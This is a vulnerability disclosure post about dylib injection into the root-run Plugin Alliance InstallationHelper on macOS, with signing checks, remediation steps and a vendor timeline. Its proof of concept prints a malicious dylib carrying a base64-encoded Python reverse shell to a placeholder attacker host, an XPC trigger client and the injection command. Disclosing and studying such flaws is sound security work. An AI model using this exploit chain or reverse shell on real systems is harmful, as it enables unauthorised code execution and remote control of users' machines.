Plugin Alliance - InstallationHelper dylib Injection on macOS
Note: The intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline and contact history are available further down the page.
Introduction
This is post 1 of 2 in my security review of the Plugin Alliance Installation Manager.
Hello!
In this post I want to walk you through a fun little vulnerability I found while poking around the Plugin Alliance InstallationHelper on macOS.
If you’ve never looked at it before, it’s basically a small background tool that steps in when the Plugin Alliance app needs to install or update something. Because macOS locks down a lot of system locations, the main app can’t just drop files wherever it wants so this helper runs as root and handles the “privileged” parts of the install process for it.
In other words, it’s the thing actually putting files in protected directories, setting permissions, and doing the behind the scenes work that normal apps aren’t allowed to do. And, as you can imagine, anything that runs as root is worth a closer look.
I wanted to see how well it held up against local attacks. It’s a privileged component, so if anything goes wrong here, the impact can get serious fast.
The InstallationHelper from Plugin Alliance isn’t protected by hardened runtime, it has no __RESTRICT segment, and its entitlements are wide open. That combination leaves the door open for dylib injection.
It was possible to exploit DYLD_INSERT_LIBRARIES, I was able to get the helper to load a malicious library. The PoC showed that a normal local user could trigger the helper and run arbitrary code (though still partially limited by SIP).
This article breaks down how the issue works, how I found it, and how it can be exploited in practice.
Let’s go!
Vulnerability Overview
So we know that the Plugin Alliance InstallationHelper is running as root, but it’s missing several protections that macOS normally expects from privileged binaries. These protections exist to prevent things like dylib injection, so their absence opens the door to some interesting attack paths.
The first issue shows up before we even get into dynamic loading. The binary simply doesn’t include a __RESTRICT segment.
macOS uses the __RESTRICT segment (and its accompanying __restrict section) to lock down how a binary interacts with dynamic libraries. When this segment is missing, the system won’t enforce certain restrictions around library loading, which becomes dangerous for processes running as root.
A quick otool check confirms the absence:
$ otool -l com.plugin-alliance.pa-installationhelper | grep __RESTRICT
Since the binary lacks a __RESTRICT segment, macOS doesn’t block DYLD_* environment variables. That alone already opens the door for library injection, but the situation gets worse when we look at the Mach-O header.
Running otool on the helper shows its runtime flags:
$ otool -hv /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper
One thing stands out immediately the HARDENED_RUNTIME flag is completely missing.
Little backstory… Apple introduced hardened runtime back in macOS Mojave to enforce stricter code-signing rules, library validation, and to prevent exactly this kind of DYLD based injection. Without it, the system trusts whatever libraries the process loads even if they come from attacker controlled paths.
So at this point, we have a root privileged binary that doesn’t restrict DYLD variables, doesn’t validate injected libraries and can be influenced by an unprivileged user
Before looking at exploitation paths, it’s worth checking how the helper is signed. Code signing configuration is supposed to tell macOS what a binary is allowed to do at runtime. Things like whether it should enforce hardened runtime, whether it validates loaded libraries, and whether its resources are sealed. For privileged tools, these settings are a major part of preventing injection attacks (like this one).
Running codesign on the InstallationHelper gives us its signing details:
$ codesign -dvvv /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper
The binary is signed with Plugin Alliance’s Developer ID certificate, but that’s about all it has going for it. There’s no hardened runtime, no library validation, and no resource sealing. Without those protections, the signature doesn’t actually stop the helper from loading untrusted code. Even though the binary has a valid Developer ID, macOS isn’t enforcing any of the security features that would normally matter for preventing injection.
Next, I checked the helper’s entitlements to see whether it was explicitly requesting anything risky.
The output is basically empty:
$ codesign --display --entitlements - /Library/PrivilegedHelperTools/com.plugin-alliance.pa-installationhelper
There are no dangerous entitlements like disable-library-validation or allow-dyld-environment-variables, which is good but unfortunately, it doesn’t help much in this case.
Entitlements only matter if hardened runtime is enabled, because that’s what makes macOS enforce things like library validation in the first place. Since hardened runtime is missing entirely, the lack of dangerous entitlements doesn’t prevent DYLD injection. Combined with the missing __RESTRICT segment, the helper remains fully exposed.
So even though the entitlement set is minimal, the real protections that would have mattered simply aren’t there.
Proof of Concept
To verify that the dylib injection was exploitable, I built a simple PoC setup. The goal was to force the InstallationHelper to load a malicious dynamic library using DYLD_INSERT_LIBRARIES.
The PoC used three small components:
- Malicious dylib
This library includes a constructor function that runs automatically as soon as it’s loaded. The constructor writes basic process information (PID,UID,EUID, etc.) to a file in/tmpso it’s easy to confirm when the code has executed inside the helper’s context. I also had the dylib attempt an outbound connection to a controlled VM just to show that arbitrary code was indeed running inside the helper’s context. - A minimal XPC client
The helper is triggered through an XPC interface, so the PoC includes a tiny client that simply connects to thecom.plugin-alliance.pa-installationhelperservice. Connecting is enough to cause the helper to launch, which gives us a reliable execution point. - An execution step that sets
DYLD_INSERT_LIBRARIES
When launching the XPC client, the environment variable is set to point at the malicious dylib. Because the helper lacks hardened runtime and has no__RESTRICTsegment, the dynamic loader doesn’t block this, and the helper is started with the injected library attached.
Malicious dylib
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <syslog.h>
#include <libproc.h>
#include <stdlib.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
FILE *f = fopen("/tmp/dylib_python_shell", "w");
if (f) {
fprintf(f, "=== DYLIB PYTHON SHELL ATTEMPT ===\n");
fprintf(f, "PID: %d\n", getpid());
fprintf(f, "UID: %d\n", getuid());
fprintf(f, "EUID: %d\n", geteuid());
// Attempt Python reverse shell using base64 encoding
fprintf(f, "Attempting Python reverse shell...\n");
system(“echo
'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5F
VCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIkFUVEFDS0VSSVAiLDEzMzcpKTtvcy5kd
XAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKS
wyKTtzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7' | base64 -d
| python3 &");
fprintf(f, "Python reverse shell command executed\n");
fclose(f);
}
printf("[+] Python shell dylib constructor called\n");
syslog(LOG_ERR, "[+] Python shell dylib constructor called\n");
}
XPC Client
To trigger the vulnerable helper, I used a lightweight Objective-C XPC client. The client doesn’t need to perform any privileged actions.Simply connecting to the service is enough to make the InstallationHelper launch, which in turn loads the injected dylib.
The client connects to the helper’s Mach service and invokes a harmless method (getVersionWithReply:). This is just a convenient way to create activity inside the helper so it loads normally, giving the injected dylib a chance to execute its constructor.
#import <Foundation/Foundation.h>
static NSString* XPCHelperMachServiceName = @"com.plugin-alliance.pa-installationhelper";
@protocol InstallationHelperProtocol
- (void)getVersionWithReply:(void (^)(NSString *))v1;
@end
int main(void) {
@autoreleasepool {
NSLog(@"[+] Testing dylib injection with service connection...");
// Connect to service (triggers dylib injection)
NSXPCConnection* connection = [[NSXPCConnection alloc]
initWithMachServiceName:XPCHelperMachServiceName options:0x1000];
NSXPCInterface* interface =
[NSXPCInterface interfaceWithProtocol:@protocol(InstallationHelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Connection failed: %@", error);
}];
NSLog(@"[+] Connected to service successfully!");
// Trigger service activity
[obj getVersionWithReply:^(NSString *version) {
NSLog(@"[+] Service version: %@", version);
}];
[NSThread sleepForTimeInterval:2.0f];
NSLog(@"[+] Test complete. Check for dylib injection artifacts.");
}
return 0;
}
To demonstrate the injection, the dylib is pre-loaded into the privileged helper by setting DYLD_INSERT_LIBRARIES before running the client:
DYLD_INSERT_LIBRARIES="$(pwd)/injection_dylib.dylib" ./dylib-injection
Now, on modern macOS, SIP normally strips DYLD_* variables when launching system services. But because the InstallationHelper binary lacks hardened runtime and has no __RESTRICT segment, macOS doesn’t block or validate the injected library. As a result, the helper launches with the malicious dylib attached, and the constructor executes inside a root-owned process during the XPC interaction.
Once the dylib ran, it made an outbound connection back to the listener!
The session was running with the same user as the launching user rather than as root. This is expected with SIP enabled, macOS strips dangerous DYLD_* variables when interacting with system level helpers. However, the fact that the dylib was loaded at all confirms that the helper does zero environment sanitization on its own, and its lack of hardened runtime or a __RESTRICT segment means it remains vulnerable on SIP disabled or misconfigured systems.
To get a clearer picture of what the helper was doing internally, I monitored system logs while repeatedly triggering connections to the com.plugin-alliance.pa-installationhelper service. The logs showed the helper accepting incoming XPC connections without performing any kind of validation or environment cleanup.
Remediation
To properly fix this issue, the InstallationHelper service needs to be hardened so it can’t be tricked into loading untrusted libraries. The following changes would close off the injection path:
- Enable hardened runtime when compiling the helper. This forces macOS to validate any libraries the process loads and blocks all
DYLD_*environment variables by default. - Add a
__RESTRICTsegment to the Mach-O binary. This prevents DYLD injection tricks from working, even if the environment is tampered with. - Sanitize the environment at startup, clearing variables like
DYLD_INSERT_LIBRARIESand anything else in theDYLD_*family before the helper executes. - Use sandboxing or additional process isolation where practical to limit what the helper can interact with.
Putting these protections in place make sure that malicious dylibs can’t be injected even on systems where SIP is disabled or misconfigured.
Closing Thoughts
This vulnerability is a good reminder that even small helper tools can introduce outsized risk when they run with elevated privileges. In this case, the InstallationHelper wasn’t doing anything obviously dangerous on the surface but the lack of hardened runtime, missing __RESTRICT segment, and unsanitized environment variables created the perfect conditions for reliable dylib injection.
None of this is complicated exploitation. It’s simply the result of a privileged binary shipping without the modern protections macOS expects. Once those safeguards are missing, normal system mechanisms like SIP become the only line of defense, and that’s never a position a privileged component should rely on.
In the next part of this series, I’ll break down a second vulnerability I discovered during the same research, which builds on some of the themes from the Acustica Audio article.
Happy hacking :)
Disclosure timeline
| Date | Action |
|---|---|
| August 1, 2025 | Vulnerability discovered during local security analysis of Plugin Alliance Installation Manager and its helper components. |
| August 1, 2025 | Initial technical validation and proof-of-concept developed confirming dylb injection |
| August 2, 2025 | Full vulnerability report prepared, including reproduction steps and secure remediation guidance. |
| August 2, 2025 | Responsible disclosure email sent to Plugin Alliance with attached reports and researcher PGP key requesting a secure communication channel. |
| August 18, 2025 | No acknowledgment received from the vendor. Escalation attempt submitted to MITRE CVE Program for coordination assistance. |
| November 19, 2025 | No vendor or CNA response received. Proceeding with public disclosure in accordance with a 90-day disclosure policy. |